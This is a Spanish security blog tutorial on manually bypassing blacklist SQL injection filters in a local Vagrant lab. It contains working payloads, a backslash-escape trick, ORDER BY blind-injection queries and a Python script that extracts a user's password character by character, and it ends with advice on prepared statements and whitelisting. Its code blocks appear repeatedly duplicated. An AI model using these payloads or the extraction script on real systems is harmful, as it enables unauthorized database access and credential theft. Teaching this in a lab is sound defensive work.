Tabla de contenidos

Title
Tabla de contenidos
Tabla de contenidos
Title

Ataques

Cómo evadir manualmente los filtros de SQLi

cover-sqli-manual-bypass
Jonathan Armas

Analista de seguridad

Updated

8 min

Entre las vulnerabilidades más recurrentes están las fallas de inyección, no en vano ocupan el primer lugar en la lista OWASP Top Ten. Este tipo de vulnerabilidad puede afectar toda tu seguridad e infraestructura; casi cualquier entrada puede ser un vector de inyección y todas deben controlarse. Aquí, la SQL injection juega un papel importante, no solo por el riesgo de filtración de información, sino también porque puede derivar en ejecución remota de comandos o en acceso a la red interna.

Esta vulnerabilidad ocurre cuando un atacante inyecta código en las consultas que la aplicación hace a la base de datos, interfiriendo con su funcionamiento normal. Esto sucede porque los desarrolladores no validaron correctamente la entrada de datos ni aplicaron las mejores prácticas para recuperar datos de la base de datos. Te doy un ejemplo; imagina este fragmento de código:

Código común vulnerable a SQLi.





Aquí creé el código típico de una página de inicio de sesión que verifica el usuario y la contraseña. Las variables se introducen mediante una solicitud POST y no hay validación de entrada. Un atacante podría simplemente usar el conocido payload de SQLi 1' or '1'='1y burlar el formulario de inicio de sesión. Pero si filtro algunos caracteres como la OR keyword o la single quote, ¿estaría todo bien? No tanto.

Laboratorio de bypass de SQLi

Para configurar nuestro laboratorio, vamos a usar Vagrant de Hashicorp’s; los archivos fuente están abajo. Crea una carpeta llamadaSQLiy guarda ahí el Vagrantfile.

Configurando el laboratorio

$ mkdir SQLi
$ cd SQLi
SQLi$ nano Vagrantfile #Add the content here
$ mkdir SQLi
$ cd SQLi
SQLi$ nano Vagrantfile #Add the content here
$ mkdir SQLi
$ cd SQLi
SQLi$ nano Vagrantfile #Add the content here
$ mkdir SQLi
$ cd SQLi
SQLi$ nano Vagrantfile #Add the content here

Vagrantfile

# -*- mode: ruby -*-
# vi: set ft=ruby :

Vagrant.configure("2") do |config|

  config.vm.box = "jarmasatfluid/sqlitest"
  config.vm.box_version = "1"
  config.vm.network "private_network", ip: "192.168.56.2"

end
# -*- mode: ruby -*-
# vi: set ft=ruby :

Vagrant.configure("2") do |config|

  config.vm.box = "jarmasatfluid/sqlitest"
  config.vm.box_version = "1"
  config.vm.network "private_network", ip: "192.168.56.2"

end
# -*- mode: ruby -*-
# vi: set ft=ruby :

Vagrant.configure("2") do |config|

  config.vm.box = "jarmasatfluid/sqlitest"
  config.vm.box_version = "1"
  config.vm.network "private_network", ip: "192.168.56.2"

end
# -*- mode: ruby -*-
# vi: set ft=ruby :

Vagrant.configure("2") do |config|

  config.vm.box = "jarmasatfluid/sqlitest"
  config.vm.box_version = "1"
  config.vm.network "private_network", ip: "192.168.56.2"

end

Luego, ejecuta el entorno usando

vagrant up

SQLi$ vagrant
SQLi$ vagrant
SQLi$ vagrant
SQLi$ vagrant

Esto creará una máquina Linux conLAMP instalado y configurado. En este punto, ya tenemos todo lo necesario y estamos listos para lanzar un ataque.

Ahora podemos configurar nuestra máquina atacante. Aquí usamos Kali Linux también con Vagrant, pero puedes usar el sistema operativo que prefieras.

Estas son las herramientas que vamos a usar:

Si usas Kali, todo esto ya viene instalado por defecto.

Ya estamos listos para empezar.

Enumerando nuestro servidor

Primero, necesitamos revisar los puertos del servidor. Podemos usar nmap o ncat para hacerlo.

Escaneo de puertos

nmap 192.168.56.2
ncat -vz 192.168.56.2 80
nmap 192.168.56.2
ncat -vz 192.168.56.2 80
nmap 192.168.56.2
ncat -vz 192.168.56.2 80
nmap 192.168.56.2
ncat -vz 192.168.56.2 80

Salida de nmap

Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-20 13:32 SA Pacific Standard Time
Nmap scan report for 192.168.56.2
Host is up (0.00051s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
25/tcp open  smtp
80/tcp open  http
MAC Address: 08:00:27:0A:C5:08 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 10

Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-20 13:32 SA Pacific Standard Time
Nmap scan report for 192.168.56.2
Host is up (0.00051s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
25/tcp open  smtp
80/tcp open  http
MAC Address: 08:00:27:0A:C5:08 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 10

Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-20 13:32 SA Pacific Standard Time
Nmap scan report for 192.168.56.2
Host is up (0.00051s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
25/tcp open  smtp
80/tcp open  http
MAC Address: 08:00:27:0A:C5:08 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 10

Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-20 13:32 SA Pacific Standard Time
Nmap scan report for 192.168.56.2
Host is up (0.00051s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
25/tcp open  smtp
80/tcp open  http
MAC Address: 08:00:27:0A:C5:08 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 10

Nc

Ncat: Connected to 192.168.56.2:80.
Ncat: 0 bytes sent, 0 bytes received in 0

Ncat: Connected to 192.168.56.2:80.
Ncat: 0 bytes sent, 0 bytes received in 0

Ncat: Connected to 192.168.56.2:80.
Ncat: 0 bytes sent, 0 bytes received in 0

Ncat: Connected to 192.168.56.2:80.
Ncat: 0 bytes sent, 0 bytes received in 0

Nuestro servidor corre Apache en el puerto 80. Luego, usando Dirbuster, podemos buscar directorios en el servidor web.

Dirbuster

$ dirb http://192.168.56.2/

DIRB v2.22
By The Dark Raver

START_TIME: Mon May 20 11:26:17 2020
URL_BASE: http://192.168.56.2/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

 Scanning URL: http://192.168.56.2/
==> DIRECTORY: http://192.168.56.2/code/
+ http://192.168.56.2/index.html (CODE:200|SIZE:11321)
+ http://192.168.56.2/server-status (CODE:403|SIZE:277)

 Entering directory: http://192.168.56.2/code/
+ http://192.168.56.2/code/admin.php (CODE:302|SIZE:2075)
+ http://192.168.56.2/code/index.php (CODE:200|SIZE:1098)

END_TIME: Mon May 20 11:26:25 2020
DOWNLOADED: 9224 - FOUND: 4
$ dirb http://192.168.56.2/

DIRB v2.22
By The Dark Raver

START_TIME: Mon May 20 11:26:17 2020
URL_BASE: http://192.168.56.2/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

 Scanning URL: http://192.168.56.2/
==> DIRECTORY: http://192.168.56.2/code/
+ http://192.168.56.2/index.html (CODE:200|SIZE:11321)
+ http://192.168.56.2/server-status (CODE:403|SIZE:277)

 Entering directory: http://192.168.56.2/code/
+ http://192.168.56.2/code/admin.php (CODE:302|SIZE:2075)
+ http://192.168.56.2/code/index.php (CODE:200|SIZE:1098)

END_TIME: Mon May 20 11:26:25 2020
DOWNLOADED: 9224 - FOUND: 4
$ dirb http://192.168.56.2/

DIRB v2.22
By The Dark Raver

START_TIME: Mon May 20 11:26:17 2020
URL_BASE: http://192.168.56.2/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

 Scanning URL: http://192.168.56.2/
==> DIRECTORY: http://192.168.56.2/code/
+ http://192.168.56.2/index.html (CODE:200|SIZE:11321)
+ http://192.168.56.2/server-status (CODE:403|SIZE:277)

 Entering directory: http://192.168.56.2/code/
+ http://192.168.56.2/code/admin.php (CODE:302|SIZE:2075)
+ http://192.168.56.2/code/index.php (CODE:200|SIZE:1098)

END_TIME: Mon May 20 11:26:25 2020
DOWNLOADED: 9224 - FOUND: 4
$ dirb http://192.168.56.2/

DIRB v2.22
By The Dark Raver

START_TIME: Mon May 20 11:26:17 2020
URL_BASE: http://192.168.56.2/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

 Scanning URL: http://192.168.56.2/
==> DIRECTORY: http://192.168.56.2/code/
+ http://192.168.56.2/index.html (CODE:200|SIZE:11321)
+ http://192.168.56.2/server-status (CODE:403|SIZE:277)

 Entering directory: http://192.168.56.2/code/
+ http://192.168.56.2/code/admin.php (CODE:302|SIZE:2075)
+ http://192.168.56.2/code/index.php (CODE:200|SIZE:1098)

END_TIME: Mon May 20 11:26:25 2020
DOWNLOADED: 9224 - FOUND: 4

Como podemos ver, hay un sitio de administración al que no tenemos acceso y un sitio normal donde están nuestros casos de prueba.

Ataques de bypass de SQLi

Hay tres casos de prueba; el primero es el más simple. Filtra las palabras clave OR|AND y también el carácter de espacio.

Primer filtro de SQLi

if(preg_match('/or|and| /i',$pass)) exit("<script type='text/javascript'>alert('Wrong');</script>
if(preg_match('/or|and| /i',$pass)) exit("<script type='text/javascript'>alert('Wrong');</script>
if(preg_match('/or|and| /i',$pass)) exit("<script type='text/javascript'>alert('Wrong');</script>
if(preg_match('/or|and| /i',$pass)) exit("<script type='text/javascript'>alert('Wrong');</script>

El nombre de usuario no es inyectable porque usa una declaración preparada (esto se hizo así para mostrar la forma correcta de hacer consultas). Si introducimos cualquiera de esos caracteres en la consulta, debería responder con una alerta Wrong

Para evadir esto, necesitamos sustituir esas palabras clave: la palabra clave ORpor el carácter de doble barra vertical ||, y la palabra clave AAND por el carácter de doble ampersand &&. En este caso, debemos codificarlo en URL debido al tipo de contenido de la aplicación web, lo que da como resultado %26%26. Finalmente, el carácter de espacio puede evadirse usando varias sustituciones, como las siguientes:

  • El comentario de bloque /**/

  • El carácter ascii %09 de tabulación horizontal

  • El carácter ascii %0a de nueva línea

  • El carácter ascii %0b de tabulación vertical

  • El carácter ascii %0c de salto de página

  • El carácter ascii %0d de retorno de carro

Así, nuestro conocido payload de SQLi cambiará a algo como '/**/||/**/1=1#

Primer bypass





El siguiente caso de prueba es un poco más complicado: filtra los mismos caracteres que antes más la comilla simple. Además, elimina el uso de la declaración preparada en la variable de usuario, pero también valida la comilla simple.

Second SQLi filter

if(preg_match('/\'/', $user)) exit("<script type='text/javascript'>alert('Wrong');</script>");
if(preg_match('/or|and| |\'/i',$pass)) exit("<script type='text/javascript'>alert('Wrong');</script>

if(preg_match('/\'/', $user)) exit("<script type='text/javascript'>alert('Wrong');</script>");
if(preg_match('/or|and| |\'/i',$pass)) exit("<script type='text/javascript'>alert('Wrong');</script>

if(preg_match('/\'/', $user)) exit("<script type='text/javascript'>alert('Wrong');</script>");
if(preg_match('/or|and| |\'/i',$pass)) exit("<script type='text/javascript'>alert('Wrong');</script>

if(preg_match('/\'/', $user)) exit("<script type='text/javascript'>alert('Wrong');</script>");
if(preg_match('/or|and| |\'/i',$pass)) exit("<script type='text/javascript'>alert('Wrong');</script>

Entonces, ¿qué podemos hacer para evadir esto? El carácter de barra invertida \ es un carácter de escape especial usado para indicar otros caracteres especiales dentro de cadenas de texto. Esto nos resulta útil porque, si inyectamos ese carácter en el campo de usuario, la comilla simple que le sigue actuará como un carácter literal, y la cadena del nombre de usuario terminará justo al lado del campo de contraseña:

Ejemplo de barra invertida

Es solo cuestión de inyectar nuestro código ahí; el payload en el usuario será \, y en el campo de contraseña será /**/||/**/1=1/**/--

Segundo bypass





El último ejemplo combina todo lo anterior y agrega más filtros al código; se trata de un tipo distinto de vulnerabilidad, porque vamos a evadir el filtro dentro de una palabra clave ORDER BY.

Tercer filtro SQLi

if(preg_match('/\'|"|=|admin|substr|concat|group|ascii|or|and| |-|#|\s|\/\\\\|like|0x|col|case|when|sleep|benchmark/i',$_GET["by"])) exit("<script type='text/javascript'>alert('Wrong');</script>

if(preg_match('/\'|"|=|admin|substr|concat|group|ascii|or|and| |-|#|\s|\/\\\\|like|0x|col|case|when|sleep|benchmark/i',$_GET["by"])) exit("<script type='text/javascript'>alert('Wrong');</script>

if(preg_match('/\'|"|=|admin|substr|concat|group|ascii|or|and| |-|#|\s|\/\\\\|like|0x|col|case|when|sleep|benchmark/i',$_GET["by"])) exit("<script type='text/javascript'>alert('Wrong');</script>

if(preg_match('/\'|"|=|admin|substr|concat|group|ascii|or|and| |-|#|\s|\/\\\\|like|0x|col|case|when|sleep|benchmark/i',$_GET["by"])) exit("<script type='text/javascript'>alert('Wrong');</script>

Aquí casi no podemos usar palabras clave ni funciones, y el union select tampoco funcionará. Para recolectar datos de la base de datos a partir de una palabra clave ORDER BY, necesitamos usar una SQLi basada en errores o una basada en tiempo.

Entonces, la primera inyección servirá para probar la vulnerabilidad; inyectemos una SQLi simple basada en errores donde, si es verdadera, ordenará los elementos usando el id, y si es falsa, los ordenará usando el name:

  1. ?by=if(false,id,name)

  2. ?by=if(true,id,name)

Ahora, agreguemos otra capa. Queremos extraer información de esto, y para lograrlo necesitamos hacer algunas consultas. En este ejemplo, obtendremos la contraseña del usuario guest(si quieres obtener la contraseña de admin, deberías intentarlo tú mismo). Como los caracteres =, comilla simple y comilla doble están filtrados, necesitamos otra forma de obtener la información del usuario que queremos. Aquí tenemos el operadorIN y la funciónCHAR. El operadorIN nos permite especificar múltiples valores en una cláusula WHERE, aunque también podemos usar uno solo si queremos, y la función CHAR devuelve el carácter ASCII correspondiente a un número. Usando ambos elementos, una consulta para la contraseña de guest sería algo así:

Consulta de la contraseña de guest

Aquí, la cadena guestes la combinación de los caracteres ASCII 103,117,101,115,116. Ahora, la función MID nos ayudará a extraer caracteres de esa consulta y obtener la contraseña carácter por carácter. Esta consulta obtendrá el primer carácter de la contraseña:

Caracter de la contraseña de guest

Luego, necesitamos compararlo con otro carácter; aquí volveremos a usar IN y CHAR.

Comparación de la contraseña de guest

Finalmente, colocamos nuestra consulta dentro de la función IF anterior y reemplazamos los espacios con el comentario de bloque:

Con esto, podemos obtener la contraseña de guest usando la función ORDER BY. Hacer esto manualmente tomaría bastante tiempo, así que automaticémoslo con Python. Lo primero que necesitamos es una función que haga nuestras consultas y devuelva la respuesta:

Función para hacer la solicitud

def make_request(parms):
    """
    Makes the request
    """
    response = requests.get(URL, headers=HEADERS, params=parms,
                            cookies=COOKIES)
    return response.text
def make_request(parms):
    """
    Makes the request
    """
    response = requests.get(URL, headers=HEADERS, params=parms,
                            cookies=COOKIES)
    return response.text
def make_request(parms):
    """
    Makes the request
    """
    response = requests.get(URL, headers=HEADERS, params=parms,
                            cookies=COOKIES)
    return response.text
def make_request(parms):
    """
    Makes the request
    """
    response = requests.get(URL, headers=HEADERS, params=parms,
                            cookies=COOKIES)
    return response.text

Luego, necesitamos iterar por cada elemento de la contraseña y por cada carácter ASCII:

Consulta iterativa

# Length of the password
for i in range(8):
  # All ASCII table
  for j in range(0, 128):
    query = 'if(mid((select/**/passwd/**/from/**/users/**/where/**/user/**/in(CHAR(103,117,101,115,116))),'+str(i)+',1)/**/in(CHAR('+str(j)+')),id,name)'
# Length of the password
for i in range(8):
  # All ASCII table
  for j in range(0, 128):
    query = 'if(mid((select/**/passwd/**/from/**/users/**/where/**/user/**/in(CHAR(103,117,101,115,116))),'+str(i)+',1)/**/in(CHAR('+str(j)+')),id,name)'
# Length of the password
for i in range(8):
  # All ASCII table
  for j in range(0, 128):
    query = 'if(mid((select/**/passwd/**/from/**/users/**/where/**/user/**/in(CHAR(103,117,101,115,116))),'+str(i)+',1)/**/in(CHAR('+str(j)+')),id,name)'
# Length of the password
for i in range(8):
  # All ASCII table
  for j in range(0, 128):
    query = 'if(mid((select/**/passwd/**/from/**/users/**/where/**/user/**/in(CHAR(103,117,101,115,116))),'+str(i)+',1)/**/in(CHAR('+str(j)+')),id,name)'

Y finalmente, consultamos si la lista está ordenada por id:

check = ">Description</th></tr></thead><tbody><tr><td>5"
if check in resp:
  PASSWORD += chr(j)
  break
check = ">Description</th></tr></thead><tbody><tr><td>5"
if check in resp:
  PASSWORD += chr(j)
  break
check = ">Description</th></tr></thead><tbody><tr><td>5"
if check in resp:
  PASSWORD += chr(j)
  break
check = ">Description</th></tr></thead><tbody><tr><td>5"
if check in resp:
  PASSWORD += chr(j)
  break

Eso es todo: crea el exploit, ejecútalo y espera el resultado. Esto podría hacerse con cualquier otra consulta, por ejemplo, para obtener el hash de la contraseña de un usuario de MySQL.

Solución

Lo primero que debe hacer alguien con este problema es implementar declaraciones preparadas; no hay forma de evitarlo. Las inyecciones pueden ocurrir en casi cualquier proveedor de bases de datos (si no en todos). Con estas declaraciones, el software tendrá consultas de datos más robustas y se descartará el uso de consultas dinámicas.

El siguiente paso es aplicar listas blancas para validar la entrada del usuario. Cuando los desarrolladores usan filtrado por lista negra, como en los ejemplos anteriores, existe el riesgo de pasar por alto algún parámetro que permita la inyección. Las listas blancas son un mejor enfoque porque solo permiten lo que está en ellas y nada más.

Finalmente, está la implementación del principio de mínimo privilegio. Me he encontrado con varias bases de datos que ejecutan consultas usando el usuario root; es mejor usar usuarios limitados en nuestras aplicaciones, porque esto limita el rango de acción de los atacantes que, en el peor de los casos, logran acceder a la base de datos.

Si quieres más información sobre las protecciones contra SQLi, puedes consultar OWASP o nuestra base de datos.

Empieza ya con la solución de ASPM de Fluid Attacks

Etiquetas:

ciberseguridad

web

vulnerabilidad

hacking

formacion

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de la solución Fluid Attacks, de la que ya disfrutan empresas de todos los tamaños.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de la solución Fluid Attacks, de la que ya disfrutan empresas de todos los tamaños.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de la solución Fluid Attacks, de la que ya disfrutan empresas de todos los tamaños.